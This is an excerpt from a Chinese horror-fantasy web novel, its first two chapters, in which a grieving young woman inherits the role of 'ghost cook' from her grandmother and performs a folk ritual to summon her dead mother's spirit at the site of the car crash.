《我当阴厨那些年》
1. 第44任阴厨
“生”的最后一笔，亦是“死”的第一笔。
阴沉的天空下，凄婉的哀乐融入了悄然飘落的白雪，纸钱纷纷扬扬撒洒落，一时间分不清白雪与纸钱。
沈聆跪在父母的灵位前，身披麻布，头上戴白，低着头不语，融入了这一脉哀伤中。
她是举行这场葬礼的人，也是葬礼中沈氏夫妻的大女儿。
在几步之外，黑色的桌子上，沈聆父母的遗照用黑色的相框表起，这对夫妻因车祸横死的，匆忙中只能将旧日合照改了色调作为遗照。
遗照前并列地放着两口黑色的棺材，棺材旁跪着哭丧的戏子，她们趴在棺材旁唱着戏腔，掩面哭泣的样子，就仿佛突遭车祸死去的是她们的双亲。
黑色的劣质音响将哭丧的戏声传遍了小区的每个角落，行人听到这哭丧的哀乐，纷纷加快了脚步，生怕沾上这一家子的晦气。
沈聆跪在地上，她悄悄回过头看了一眼，今天来参加葬礼的人一只手便可数得过来，冷清的葬礼，让沈聆不免心寒。
“——”
忽然间，口袋里的手机震动了一下。
沈聆从口袋里拿出手机，发现是平安医院ICU的徐医生发来的短信——沈小姐，你妹妹沈凝晚上19：00要进行颅脑清创手术，麻烦你今晚17：00之前到医院签字一下。
沈聆沉重地叹了口气。
沈凝是她年仅十四岁的妹妹，她们本来是幸福的一家四口，但一场车祸的发生，让她一夜之间失去了双亲，同在车上的妹妹虽经抢救捡回一条命，但却住进了ICU，全身插管，命悬一线，车祸中，小女孩半个头颅被车门挤压出了一个大坑，瘦弱的身体多处骨折，变形折断肋骨插入了柔软的内脏，她像是被命运的坚刃刺穿的蝴蝶，在奄奄一息中坠入深谷。
“聆娃儿……”
感觉到有人碰了碰肩膀，跪在地上的沈聆回过神来，看见一个拄着拐杖、躬着身子的婆婆不知何时正站在自己身边。
“外婆……”
沈聆忙起身搀扶着这位八十多岁的身穿花袄的老人。
在刺耳的哀乐中，老人那沧桑浑浊的双眼瞥了一眼黑色的棺材，强压下的情绪中，似乎有泪光泛动，压着的嘴角旁，一张脸已经满是皱纹，她看起来双眼布满了血丝，似乎这几天都不曾安睡。
她的女儿女婿死了，走在了她前面，白发人送黑发人，何尝不是世间一大悲剧？
“外婆，您坐。”沈聆扶着外婆在旁边的椅子坐下，这位老人家大清早刚从乡下赶过来，身上还沾染了些许雪水，沈聆感觉到指尖有点儿冷冷的湿气。
按照习俗，长辈是不必参加晚辈的送葬仪式的，大抵是老人家还想送女儿最后一程，了一了今生的母女情分，她看着遗照上女儿的面容，复又看向黑漆漆的棺材，那沉重的棺椁隔绝了生与死的边界，也隔断了她们的最后一面。
“早上刚过来的，今天汝汝要走了，我得来送送她……这几年城市变化真大啊，差点儿找不到路，刚才我在公交车站不知道坐哪路车过来，还好有一个好心的小道长帮忙指路了一下……对了，凝娃儿怎么样？”
“沈凝在平安医院的ICU里，医生刚才跟我说安排了今晚的手术，待会儿我要去医院签字一下。”沈聆放缓声音回答老人家的问题，怕吓到老人家，尽量选择好消息提，“沈凝的命暂时保住了，外婆别担心。”
“你可别蒙我老婆子不懂，我都听说了，车祸中那小车都撞得快碎了，那凝娃儿在车上能好吗？她还那么小……平安医院靠谱吗？”
沈聆眼见瞒不过，只能稍稍透露了一点实情：“平安医院是陵川市最好的医院了，徐医生也是一个靠谱的医生，放心吧外婆，只不过……医生说我们要有一个心理准备，这次手术的成功率可能只有不到50%……”
闻言，老人家久久没有说话。
“水有源头树有根，天下只有爹娘亲。”
唱哭丧的戏子，戏腔更加透入心扉。
听着那哭丧的戏腔，沉默了半晌后，外婆用拐杖用力打了几下地面。
“聆娃儿，事到如今，也别无他法。”老人家抬起疲惫的双眼看向了沈聆：“我老婆子有一个办法，或许可以救凝娃儿的命。”
“您有办法？”沈聆一愣。
沈聆不知道外婆口中的“办法”是什么，但她对外婆的话存着半分疑心，毕竟连现代医学都没有太大把握的事情，一个八十多的乡下老婆子能有什么办法？
但她心中隐隐约约有一种预感，外婆所说的“办法”，说不定涉及诡秘之事。
外婆顿了顿，深深地看着沈聆，似乎在凝视她的“灵魂”。
半晌，外婆才缓缓说道：“这个办法需要你以身犯险……聆娃儿，需要你真心接受，才能行得通。”
外婆并不急着道出实情，反倒是在询问意见一样，看着她。
恍惚间，沈聆有种被凝视的不安感，她皱起眉头，乖巧地在外婆面前跪下，指了指爸妈的棺材，坚定地看着外婆：“外婆，现在除了您之外，和我唯一有关系的，只有沈凝了，无论付出什么代价我都愿意，只要沈凝能活下来！”
“那如果……我需要你将自己的命数分一半给凝娃儿，你愿意吗？换句话说，你要和你妹妹，共命。”
“共命？”沈聆一愣。
外婆低沉着嗓音：“虽然你比凝娃儿大五岁，但你们血脉相连，是世界上灵魂最相似之人，和你妹妹共命之后，你们便一命同根，共享岁寿，而你的阴德就会变成她的阴德，只要阴德积攒，凝娃儿就有活下来的希望。”
“阴德？岁寿？”沈聆挠了挠头，老人家的话搞得她二张和尚摸不着头脑，“外婆，不是我不相信你，但是现在是21世纪了，您说的那些……怎么感觉这么封建迷信啊？您是不是神话本子看多了，搞什么旁门左道来了……”
话音未落，外婆用榆木拐杖“咚”地敲了一下沈聆的脑袋。
“疼疼疼……”
“你这小家伙，想不想救你妹妹了？！你要是觉得老婆子我在糊弄你，榆木脑袋，算了！不说也罢！”外婆说着，起身就作势要离开。
沈聆一看，忙拉住了外婆：“救、救的！当然要救！您说怎么做、我就怎么做。”
老人家点了点头，从口袋里掏出一条红绳子，递给沈聆：“戴上，戴在右手。”
外婆没有多加解释这是什么，沈聆接过这条红绳子的时候，发现这条红绳很粗糙，上面似乎沾染着些许类似香灰一样的东西，在红绳的中间穿着一个银铃，随着红绳的摆动发出“叮铃叮铃”的声音。
她依言将红绳戴在了右手手腕。
奇怪的是，在戴上红绳的时候，沈聆忽然感觉到手腕传来一阵刺痛的感觉，红绳像是长了牙齿一样轻轻咬了她一下。
“疼……”
她吃痛地咬紧牙关，发现红绳戴着的地方被咬出了一圈密集的小牙印，从牙印里伤口里缓缓渗出了血，但这血很快就被红绳吸收了，随后，手上出血的牙印也随之消失不见。
就像是……
这条红绳有了生命、在吸血一样！
见状，外婆苍老沙哑的声音从耳畔传来：“很好，这样，契约就算是订立了。”
“啊？”沈聆抬起头，疑惑地看向了外婆。
“聆娃儿，从今天开始，你就是第44任阴厨，这条红绳，就是你的生死契，在你第45任阴厨继任之前，你都必须认真恪尽职守、完成阴厨的职责，不得私自毁坏生死契，否则，你将大祸临头，不得善终！”
老人阴沉着脸色，用沙哑而颤抖的声音说着这宣誓一样的话语，让人不寒而栗。
她的这番话，像是说给沈聆听的，又像是说给沈聆看不见的“东西”听的。
“大祸临头？”沈聆心一沉，“外婆……你这……”
老人家看向了女儿女婿的棺材，语气也沉重了几分：“聆娃儿……你知道你爹娘为什么会出车祸吗？十字路口的车这么多，为什么那辆大卡车偏生就撞上了他们的车？”
“您的意思是……”
“生死契一旦成立，便不可轻易废除，你知道吗，你妈妈是第43任阴厨，她就是因为太过天真，想私下解除生死契，这才导致突发意外，横死街头……她啊，被生死契反噬了。”
阴厨。
生死契。
这些字眼，沈聆从前没有接触过。
沈聆从小生长在县城，和我们所有正常人一样，她是芸芸众生中的一员，丢在人堆里都认不出来，她从小成绩平庸，相貌平庸，原以为这一生都会一直这样平庸下去。
而外婆一直生活在乡下，只有逢年过节的时候一家四口才会回去乡下看望外婆，每次去乡下，也不会待太长的时间，妈妈总是有各种借口带着一家人尽快返程，从不多加逗留。
可以说，沈聆对外婆的印象并不是很深刻。
但命运终究是命运，既定之内的轨迹，也必然按照既定的命运发生。
就像在哀乐大作的今天，生死契的红绳还是挂在了沈聆的手腕上。
“……外婆，什么是阴厨？我好像没听过这个词。”
“阴厨，顾名思义，就是阴间的厨子，通俗地说，就是给死人做饭的厨子。”
“给死人做饭？这人都死了，哪里还能吃饭？”说这话的时候，沈聆下意识看了一眼爸妈的棺材，看着那厚厚的棺材板，沈聆对外婆的话更加匪夷所思。
“人死了之后，灵魂将离开□□，你看到的现在棺材里躺着的，是他们的□□，而阴厨要做的，是给鬼魂做饭。”外婆一字一句地说，“那些对人世间留有遗憾的鬼，在离开前会想着吃最后一顿饭，阴厨的职责就是让他们在黄泉路上最后一次吃到自己想吃的东西。”
“黄泉路……”
“对，在完成鬼魂的心愿之后，阴厨亦能增加自身的阴德，阴德多者，或可大富大贵，或可长命百岁……有的人称之为‘阴德’，有的人称之为‘福报’，凡此种种，皆是因果，做阴厨，也算是行善积德的事情。”
“积阴德……所以……这就是您让我和妹妹共命的原因？只要我能积攒阴德，那么我种下的‘因’，就能够报答在沈凝身上，变成救沈凝的‘果’？”
“嗯，凝娃儿现在命悬一线，聆娃儿，你们是一母同胞的姐妹，你的命运相连、血脉相近，你是唯一能帮她攒阴德、返阳间的人……我这里还有一条红绳，你将红绳戴到你妹妹手上，你们将同时作为生死契的订立者，生死与共、同灾共命。”
外婆说着，将另一条带着香灰的红绳递给了沈聆，但和沈聆手上的红绳不同的是，这条红绳上并没有铃铛。
沈聆依言接过红绳，陷入了沉默。
倒不是她不愿意成为所谓的“阴厨”，只不过她毕竟是第一次听到这些奇奇怪怪的论道，在心里还是会对外婆所说的话产生质疑，但看着老人家黑色的眼眸，回想着她的言之凿凿，却又还是不忍心问出质疑的话来。
早些年间，她也听了些亲戚间的风言风语，知道外婆在神鬼方面有点邪乎，村里人看到他们一家也都绕着走，看着他们的眼神也十分警惕，像是有什么禁忌一样。
她一直以为这是爸妈不让她过多接触外婆的原因，现在看来，这并不是无根传闻。
她的外婆……
或许真的有点东西！
半晌，她才开口问道：“外婆，您也是阴厨吗？”
“你很聪明，你猜的没错，老婆子我是第42任阴厨，当年，我也是是从我娘手中继任的……你的曾外婆，也就是我娘，她是第41任……阴厨这东西，传女不传男，因为女子主阴，男子的体格过阳，一般难以通灵，所以历任阴厨都是女儿家。”
外婆说着，抬起头看向了天空，仿佛能透过灵堂的雨棚，看到那遥远的过去，以及泛黄的记忆。
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>“在八字命理中，甲、丙、戊、庚、壬为阳，乙、丁、己、辛、癸为阴，聆娃儿，你的八字恰好是全部都是阴五行，是纯阴之人，你是天生的阴厨人选，只不过，你妈妈也意识到了这一点，不愿意让我与你过多接触……她这是不愿意你成为下一任阴厨啊……”
外婆说这话的时候，看着了沈聆妈妈的遗照，那双眼睛仿佛能够透过遗照，看到自己已经死去的女儿，她的语气中没有太多的悲伤，反而更多的是对看透命理的无奈。
“但是命数就是命数，聆娃儿，从我们祖上便继任阴厨这一特殊职务，生死契乃鬼神契，不可轻易废除，你娘想在她这一代解除生死契的血脉传承，不想让你们也背负阴厨的职责，不想遭到了反噬……我曾经警告过她，但她并没有听进去……唉，老婆子我今天来，就是希望让你能顺利继任成为下一任阴厨，如果不这样做，在你妹妹死后，你不久也将横死于某一场意外……”
听着老人家如箴言一样的话，沈聆不由得浑身发毛。
“我……我也会死？”
“这是血脉里背负的契约，也是血脉里传承的因果。”老人家说着，抬起手、用干瘦的手指摸了摸沈聆的脑袋，“聆娃儿，先人立下了誓言，我们便有了完成的使命，如不履约，将遭反噬，这也怪你当时托生在你娘肚子里，若非如此，你的一生都不会有此一劫。”
沈聆听着老人家的话，低着头看着右手上的红绳，上面银色的铃铛就像是有灵性一样，闪烁着幽幽的光。
沈聆一时间有点儿难以接受老人家的话，她神神叨叨的样子，让她打心里发毛。
但是看着老人家近在咫尺的认真的神情，这一切又不像是老糊涂的昏话。
一想到重伤妹妹还在医院里昏迷不醒，沈聆心乱如麻，如果科学已经无法拯救妹妹的性命，那么求助神学是否可行呢？
沈聆沉默了许久后，像是自言自语一般说道：“我知道了，只要能让沈凝好好的，做什么我都愿意。”
在这世道，常有人带着不治之症的患者求助游街的神明。
那么现在，她也可以为了妹妹，相信一次玄学。
或许，真的有用呢？
哪怕只有万分之一的概率。
外婆点了点头：“你也不用担心，那些鬼魂不会伤害你，他们虽然是枉死的冤魂，但冤有头、债有主，毕竟我们只是送他们上路的人，我们只要完成好他们的委托就行。”
“那我们……不能只是去送送寿终正寝的人吗？”
“傻娃儿，寿终正寝的人是没有遗憾的，只有那些突遭意外或者是被杀死的冤魂才会徘徊在世间，阴厨的存在，就是尽量减少他们的遗憾，让他们安心上路转生。”
“那我要去哪里找那些……所谓的枉死的冤魂呢？”
“现成的不就有吗。”外婆的目光擦过沈聆的肩膀，看向了灵堂的两口棺材。
外婆用榆木拐杖敲了敲地板，沈聆感觉背后一股阴森森的风吹过，她打了个冷颤、回过头看向了爸妈的棺材，说话的声音也有点儿结巴起来。
“您的意思是……我要招我爸妈的鬼魂？！”
……
“阿嚏……”
沈聆背着黑色的书包，一个人沿着人行道走着，她的影子在身后被拉长，她感觉到背后阴森森的，像是有许多双眼睛在身后盯着自己。
时近午夜，十字路口冷清得如同坟地，昏暗的路灯照亮了空荡荡的路口，萧瑟的秋风擦过耳畔、带走了些许的凉意。
沈聆刚从平安医院出来，给妹妹签字了手术的同意书后，她马不停蹄地便赶往瑞景路，在那里，即将开始她的第一次“工作”。
“沙……”
迎面的风带着冰冷的寒意，沈聆低着头瞥了一眼前方的路口，在前方路口的便利店前，有一大截被撞断了的人行道的栏杆，栏杆下有一滩已经干了的血迹，那便是车祸发生的地方。
——车祸发生的时候，是沈聆的妈妈开车的，而沈聆的爸爸坐在副驾驶上，后座载着刚从学校接回来的沈凝，三人正驱车要去接沈聆，没想到在途径十字路口时，一辆大卡车从右边撞了过来，大卡车直接将小车撞翻在地并碾压了过去，主驾和副驾的二人当场身亡，后座的妹妹重伤昏迷，大卡车被撞得偏离了方向，一头撞进了便利店里，将便利店的墙壁撞得稀碎。
说来也奇怪。
这场严重的车祸中，其他人均只是受到了不同程度的外伤，就连大卡车司机也只是脑震荡和胸肋骨骨折，死亡的人，只有沈聆的爸妈。
就像是……天降横祸，要他们死于非命。
“就是这里了吧……”
沈聆按照外婆的嘱咐，在血迹最多的地方蹲下身，从背包里拿出一个黑黢黢的煤油灯，将煤油灯放在地上后，她用火柴点燃了煤油灯的灯芯，昏暗的灯光便照亮了她身周一小块区域。
——外婆说这叫结魄灯。
——在招魂的时候，能够唤回游荡的鬼魂。
沈聆默默地想着，随即，从书包里拿出了一个小镜子，立起小镜子的镜托，她将镜子放在了结魄灯前面，她下意识抬眼看了一眼镜子，发现镜子里自己的那张脸面无血色，眼眶下带着乌青，印堂隐隐发黑，怎么看都像大限将至之人的面色。
镜子是聚阴之物，肉眼看不到的阴魂，可以倒映在镜子的另一面。
“沙拉……”
不知道为什么，夜里凉风似乎更大了几分。
吹过耳畔的风，就像是女鬼在耳边的低语，在结魄灯燃起的时候，一股冰冷的恐惧感自内心深处升腾而起，仿佛一双冰冷湿滑的大手悄摸着爬上了她不安跳动的心房，并狠狠抓下几道长长的抓痕。
沈聆打了个冷颤，在心中默念了几遍“百鬼不侵、百无禁忌”。
半晌，她用颤颤巍巍的声音开口对着周围说道：“爸爸妈妈，我是沈聆，你们还在吗？你们能听到我说话吗……”
2. 祭魂
“爸爸妈妈，我是沈聆……你们在这里吗……”
沈聆抬起头看了一圈四周，空无一人的街道，远处隐隐约约的像是有些摇曳的人影轮廓。
虽然说夜晚本就风凉，不知道为什么，自从戴上这条有小铃铛的红绳手链之后，她总感觉到身周阴恻恻的，似乎有人在某个角落窥探着她的一举一动，但她猛地回过头去，却又什么都没有看到。
这样的感觉无时无刻一直伴随着她。
就好像。
背上背着人？
“……”
一想到这里，一股莫名的恐惧从头到脚笼罩着沈聆全身，不安的她不敢多想，她摇了摇头，试图将脑海中的杂念甩出去。
可是，那股恐惧却如影随形，让她的心愈发沉重。
她闭上眼睛，深吸一口气，努力让自己平静下来，当她再次睁开眼睛时，眼前依然是那面小镜子，而镜子里的自己脸色苍白，除了她之外，镜子里没有其他的东西出现。
午夜的夜晚十分安静，沈聆都能听得见自己的心跳与加快的呼吸，沈聆咬了咬牙，决定不再退缩，既然已经来到了这里，就不能空手而归，她心中默默祈祷着，希望一切顺利。
听着如雷的心跳，她双手颤抖地打开背包，从里面拿出一个小巧玲珑的香炉和三支清香，小心翼翼地将香炉放在了镜子前面，然后用火柴点燃了三支香，白色的烟雾袅袅升起，弥漫在空中，散发出一种淡淡的香气。
沈聆恭敬地将香插入了小香炉里，双手合十，默默地向镜子祈祷着。
此时，她才仔细观察起这个小香炉——它通体是鎏金的，上面雕刻着一些奇怪的图案和文字，还有一些说不出名字的野兽，这些野兽长得青面獠牙，看起来十分凶猛，仿佛是山海经里的异兽，它们围绕着香炉，形成了一幅神秘而诡异的画面。
沈聆不禁想起儿时了外婆曾经给她讲过的故事，那些关于古代神话和传说的故事，有山海经里的奇珍异兽，也有上古志里的奇闻怪事，也许，这个小香炉就是一件古老的文物，承载了一代代阴厨的寄托，或许，在今天晚上，它能够带给她意想不到的收获。
“……我是第44任阴厨，沈聆，祭告上苍，抚慰亡灵，今天晚上我欲拜祭的，是我父母的亡魂，沈衷，陈晴。”
沈聆按照外婆的叮嘱，默念亡魂的信息，她抬起头看着四周，似乎想从无尽的迷茫中，看出一丝丝属于父母的轮廓。
阴厨的职责，是祭魂。
祭魂分为九个步骤：上清香、唤生魂、见黄泉、听鬼音、受鬼托、请香祀、做祀品、祭亡魂、别离恨、转生安。
也唤为祭魂十步。
上清香、唤生魂、见黄泉、听鬼音、受鬼托，前五个步骤，为唤魂，召唤鬼魂，了解嘱托。
请香祀，做祀品、祭亡魂、别离恨、转生安，后五个步骤，为祭魂，将做好的食物祭祀给亡魂，完成所求。
【上清香】
顾名思义，就是给亡魂上香，阴厨需要在阴魂不散的地方用清香、香炉、结魄灯、镜子等物品招魂，阴气越重的地方招魂成功的概率越大，一般可以是出事地点或者鬼魂生前居住最久的地方。
首先，需要点亮结魄灯，结魄灯能凝结鬼火，照亮黄泉路，指引鬼魂前来。
其次，需要在结魄灯前放一面镜子，镜子属阴，可聚阴，在冤魂的阴气汇集后，在香炉上插上三支香，受了香火后的阴魂便会在镜中现身，镜子里出现的，将是死者生前最后的样貌，但这样貌，可能会吓到你，因为死于非命的人，死状都不会好看，需要做好心理准备。
如果三炷香灭了，就说明鬼魂不愿意接受供奉，不愿意离开，此鬼极易变为厉鬼，不得犹豫，速速离开。
反之，如果三炷香没有灭，说明鬼魂已经听到了你的声音，并且愿意接受你的帮助。
【唤生魂】
在上香后，如果香不灭，便可唤生魂。
呼唤死者生前的姓名，默念心中诉求，招魂引魂，因阴厨之血通灵，便可以此见鬼魂。
【见黄泉】
在唤到鬼魂后，阴厨眼前便会展现出黄泉路的模样，因阴魂不得踏入阳间，因此，便以阴厨踏入阴间以继续完成祭魂。
【听鬼音】、【受鬼托】
了解亡魂的诉求，听他们的声音，此时，已死之人的声音与活人的声音不同，他们的声音或粗或细，或男或女，此音来自黄泉，刺耳而嘈杂，难以辨认，需要阴厨听清楚他们的诉求，了解清楚自己需要准备的食物。
【请香祀】
与唤魂过程中的香不同的是，祭魂过程中所使用的的香，必须先经过【请香】，在三清像前横拿三炷香请示神明，在获得神明的授意后，方能以请过的三炷香祭魂。
【做祀品】
在听清楚阴魂的诉求之后，便需要阴厨着手准备祭魂的食物，阴厨有两天（48小时）可以准备，一旦超出时间限制，没有完成阴魂嘱托，便将遭到反噬，被阴魂索命，成为替死鬼。
在做祀品的过程中，需要阴厨以自己血入食，阴魂方能受之。
【祭亡魂】
在做好加入阴厨血的食物之后，便要回到同一地点祭祀亡魂，按照招魂的步骤，点灯、放镜、燃香、唤魂，此时亡魂便会出现，享用食物，此“享用”非常人之“享用”，亡魂已经没有□□，因此无法消化食物，只能摄取食物中的“气”，以满足自己留在人世间的遗憾。
【别离恨】、【转生安】
便是鬼魂为答谢阴厨，将自己还没有享受尽的阳寿和阴德赠与阴厨，因阴厨祭祀并非寿终正寝之人，因此便能从中获得阴魂的“酬谢”。
凡此种种，便是阴厨祭魂的所有步骤，每一个步骤都环环相扣，阴厨需要以阳身接近阴灵，因此自身也容易遭到阴灵反噬，为此，历任阴厨有四条法则必须遵循，否则非但不能完成祭魂，反而还会被厉鬼缠身，不得好死——
1.招魂必燃结魄灯，做饭必入阴厨血。
2.招魂时，不可回头看亡魂，不可询问死因。
3.魂受三支香，话可问三句。
4.必须在两天内完成嘱托，否则必将遭受反噬。
助人一力，渡人一刹，这便是阴厨的阴德，所有步骤诡秘万分，任何一点错误都可能导致阴厨丧命。
沈聆在心里认真过了一遍外婆的嘱托之后，在地上打坐，合拢手掌，闭上双眼对着镜子默念起了外婆教的口诀——
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
在念完第一遍的时候，沈聆支起耳朵认认真真留意了一圈周围的动静，但并没有什么奇怪的声音。
沈聆小心翼翼地睁开眼，瞥了一眼放在结魄灯前的镜子，但镜子里只有她自己一个人，并没有看到什么鬼魂，更没有看到在车祸中丧生的爸妈。
沈聆心下疑惑，挠了挠脑袋，略感沮丧的同时，也不由得感觉自己是不是太荒唐了一点，居然会相信老人家口中胡言乱语的“阴厨”、“祭魂九步”。
“我也真是离谱，大晚上的在这里做什么……”
她摇了摇头起身原想离开的，但想一想自己似乎来都来了，就这么回去好像有点儿太容易放弃了？
毕竟外婆曾经说过，已经系上了红绳子，就是结下了生死契约，虽然这番说辞也带着点玄学，但万一是真的，自己没完成阴厨的任务会不会被反噬？
一想到爸妈的遭遇，沈聆起身的姿势瞬间又坐了下去。
“……算了，来都来了，不然就再试试看，反正沈凝的手术也没有那么快结束。”
这么想着，她心一横，闭上眼睛，索性又开始合起双手念咒了起来。
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
“沙拉……”
奇怪的是，当第二次念出这句话的时候，忽然一阵风从身后吹来，拂过沈聆的头发，吹乱了她的体温。
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
当第三次重复这句话的时候，沈聆右手的红绳晃动了一下，银铃发出了一声清脆的铃响。
“叮铃……”
清脆悦耳的银铃声再次响起，仿佛是一种诅咒，预示着怨魂即将到来！
突然，“喀啦”一声，沈聆听到了镜子破裂的声音！
她惊恐地睁开眼睛，定睛一看，发现眼前放置在香炉后面的镜子竟然出现了一道细微的裂痕！这道裂痕从上到下，一直延伸到镜面的三分之二处，将镜子中的自己一分为二！
一半的镜子倒映着沈聆，而另一半镜面中……她的肩膀上竟然搭上了一只鲜血淋漓、触目惊心的手！
“鬼呀——”沈聆惊恐万分，忍不住发出了尖锐的尖叫声，但她很快意识到此刻不能尖叫！于是迅速用手捂住了自己的嘴巴。
就在这时，她看到镜子里那只鲜血淋漓的手正顺着她的右肩缓慢向下摸索，仿佛在寻找什么东西。
她瞪大眼睛，仔细观察，发现那只手已经血肉模糊，隐约可见阴森森的白骨，让人毛骨悚然。
随着那只手不断下滑，一个披散着长发的女人缓缓从她身后探出头来。
“斯……”
一阵彻骨的寒气从身后起来，沈聆仿佛整个人都被冻住了一般，那寒冷刺骨的疼痛插入了后背每一寸皮肤，就像是千万只手用指甲狠狠抓挠着她的后背……
红色雾气将沈聆包围，周围的景物也开始发生了变化。
原先静谧的午夜十字路口，忽然像是恐怖电影一样，路灯、地面、人行道开始出现大片大片的血迹，那些黏腻的血液散发着恶臭的气息，从各个缝隙渗出，汇聚，逐渐汇成了一条蜿蜒的血河，十字路口的柏油路和人行道开始泛红、软化，最后也化为了血河。
在血河里，伸出了许多腐烂的手，它们在胡乱抓着什么，在血河里扑腾，像是不甘死去，却又不得不离去，白色鬼脸在血河中若隐若现，这条血河弯曲着，通往更加神秘的幽深。
天空中，云朵像是浸染了血液一样，大片大片地垂落，压在头顶，让人喘不过气来，昏黄色的路灯变成了绿色，黑影略过，整个世界都变得阴森恐怖起来，洋洋洒洒的白色纸钱，从天上洒落，落在沈聆脚边，这些纸钱像是被风吹散的雪花，纷纷扬扬，让人感到一股刺骨的寒意。
耳畔，仿佛有无尽的哭诉声，像是亲人在黄泉路边送一送亡者的最后一程。那声音凄惨而哀怨，让人毛骨悚然。
沈聆静静地站在原地，她的眼神平静而坚定。她知道，眼前的一切都是虚幻，但她依然感受到了一种深深的恐惧。
“这便是……黄泉路。”她轻声说道，声音中带着一丝颤抖。
黄泉路，传说中的死亡之路，是连接生死两界的通道。在这里，人们将告别阳间，走向阴曹地府。
沈聆此刻脖颈发凉，身体完全不敢动弹，她低下头，看着镜子里的那个披散着头发的女人从自己身后一点点探出头，而那个女人，恰好也看向了镜子！
那女人披散着黑色的头发，仿佛刚刚从地狱中爬出来一般，在凌乱的发丝下，她的脑袋歪斜成了诡异的角度，像是被人硬生生扭断一样，她的头发上沾满了血污，散发着令人作呕的味道，而她的面容更是恐怖至极，一张脸的人皮大半都剥脱了下来，露出白色的面骨，让人毛骨悚然。
她的眼球不见了一颗，仅剩的左眼球粘连在眼眶上，随着她的动作不断晃动，仿佛随时要掉到沈聆的肩上，当她整个脑袋都出现在镜子里的时候，沈聆才惊恐地发现，她的脖子竟然三分之二都已经离断了！只剩下仅存的三分之一还勉强支撑着头部，摇摇欲坠。
"聆聆......你召妈妈来......有什么事情啊？"那女人咧开嘴微笑着，看着镜子里的沈聆，她的脸早已经血肉模糊，面部肌肉扭曲变形，嘴角一直裂开到耳畔，笑出来的样子反而让沈聆感到极度的恐惧和厌恶。
这张脸不再是母亲熟悉的模样，而是一个狰狞可怕的怪物。
沈聆瞪大了眼睛，不敢相信眼前所见。她的心瞬间沉入谷底，全身的血液似乎都凝固了，她颤抖着嘴唇，浑身抖得跟筛糠一样，舌头也不由自主地“打结”了。
“你……你是我妈妈吗？你……你是陈晴吗？”
她能感觉到来自背后阴冷湿滑的感觉，就仿佛坠入了沼泽地一样的触感让整个后背都湿冷粘腻，同时，一股莫名的寒气围绕在脖颈周围，尤其是被女鬼触碰到的地方都像是结了冰一样僵硬。围绕着身周的红色雾气充斥着腐烂、血腥的味道，刺痛了沈聆的呼吸道，她忍不住咳嗽起来。
这……真的是妈妈吗？
右侧的肩膀上像是压上了千斤重的东西，她颤抖的身体随时都可能支撑不住那个重量，但不敢轻易动弹的谨慎让她克服了生理上的恐惧，勉强让自己咬着牙也要保持打坐的姿势。
不对啊……
为什么感觉……
她好陌生……
“妈妈在这里，聆儿，别害怕，妈妈一直在找你们，但是你们去哪里了？妈妈怎么都找不到你们……沈凝呢？沈衷呢？”
沈衷，是沈聆的爸爸，也就是这次车祸丧生的另一个人。
“聆聆，妈妈在这里好冷啊，妈妈一个人找不到你们……你能过来陪妈妈一下吗？”
女鬼说着，诡异地从沈聆的肩上探出个脑袋，镜子里的她死死盯着镜子里的沈聆。
她在逼问。
她在凝视！
沈聆感觉到自己靠近女鬼的那半张脸都凝结了冰一样，整个人彻头彻尾地僵在原地。
她看着镜子里的女鬼身周红色的雾气围绕着自己，甚至血雾从里伸出了手要抓住她的脖子。
“聆聆……来陪陪妈妈好吗？”
女鬼的声音钻入了沈聆的脑袋里，她感觉到一股彻头彻尾的寒气将自己完全笼罩，身体，动弹不得。
“不、不对……你不是妈妈……外婆说我只能和妈妈说三句话，你不是我妈妈！你到底是谁？！”
“呵呵呵，这有什么要紧的，我当你妈妈好不好呀？”
女鬼的声音变得扭曲了起来，她说笑着，尾音变得尖锐刺耳，她伸出一双已经白骨化的右手，朝着沈聆温热的喉咙就掐了过来！
“青龙镇咒，镇压恶灵，天地齐同，封印虚空，咒力汇聚，破除邪魔，破——”
十万火急之时，一道金光闪过，如雷电一般径直劈开了女鬼伸向沈聆的手。
“可恶——”
女鬼被那金光灼烧，吃痛地缩回了手，气急败坏地看向了金光传来的方向，一个男人正站在对街，那人身周泛着淡淡的光，脚下也踩着类似八卦阵一样的东西。
“又是你？！姓吴的臭道士！”女鬼的声音变了，她不再是女人的声线，而
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开始变得尖锐，听起来像是小女孩气急败坏的尖叫。
“恶鬼，你作恶多端，裹挟枉死之人的魂魄还不够，还想害活人性命不成？速速离去！”
那人淡然地说着，手中闪过另一道金光，那金光瞬间笼罩在沈聆身上，金光刺眼着，沈聆只依稀看到远处似乎有一个人影，但这一切变故让她反应不及，只得下意识地闭上双眼。
“可恶——我来日再找你算账！”恶鬼被金光打伤，她吃痛地惨叫着，伴随着那惨叫声，沈聆听到了类似什么东西撕裂了的声音。
有什么东西，正被生生从自己身上剥离。
随后，沈聆感觉到肩上的重量一下子轻了许多，在她再一次睁开眼睛看向镜子的时候，身周的红色的雾气已经大半散去，追魂索命的恶鬼已经恢复成了沈聆母亲的样貌。
“妈、妈妈？！”
沈聆看着镜子里的母亲，虽然她的样子是头破血流的模样，但那样子，分明是母亲生前的样貌，只不过她额头是血，头发也都是血迹，看起来是刚出了车祸的样子。
“聆聆……妈妈伤害你了……对不起……”镜子里的母亲低下了头，不敢与女儿对视。
见此，沈聆忙摇了摇头：“不、不是的，我知道刚才的那个不是妈妈！妈妈一定是被奇怪的东西控制住了……没关系的……”
沈聆说着，已经泪流满面，她跪在黄泉路上，此刻多想转过头看看母亲，真切地看看母亲，但外婆嘱咐了她，只能看着镜子里的阴魂，不能回头！
她颤抖着身子，泪水如断线的珠子一样打落在地上，咬着下唇忍不住啜泣起来。
“妈妈……我好想你……我好想你和爸爸……”
“聆聆，对不起，爸爸妈妈妈妈要先走一步了，没想到最后，你还是成了阴厨……你今天来，应该是问我最后想吃什么吧……米饭，我想吃米饭，聆聆能做给妈妈吃吗？”
“好、好的，我知道了，我明天就、就带过来……”
母女两人只有三句话的机会，在说完这句话的时候，沈聆忽然感觉到自己右肩的重量消失了！
原先攀着自己肩膀的母亲的灵体就像是化为了一缕青烟一样消散殆尽。
转眼之间，镜子里，只剩下她一个人了。
“……走掉了。”
香炉里的香，也燃尽了最后一寸，掉落在地上的灰烬，被风轻轻吹散。
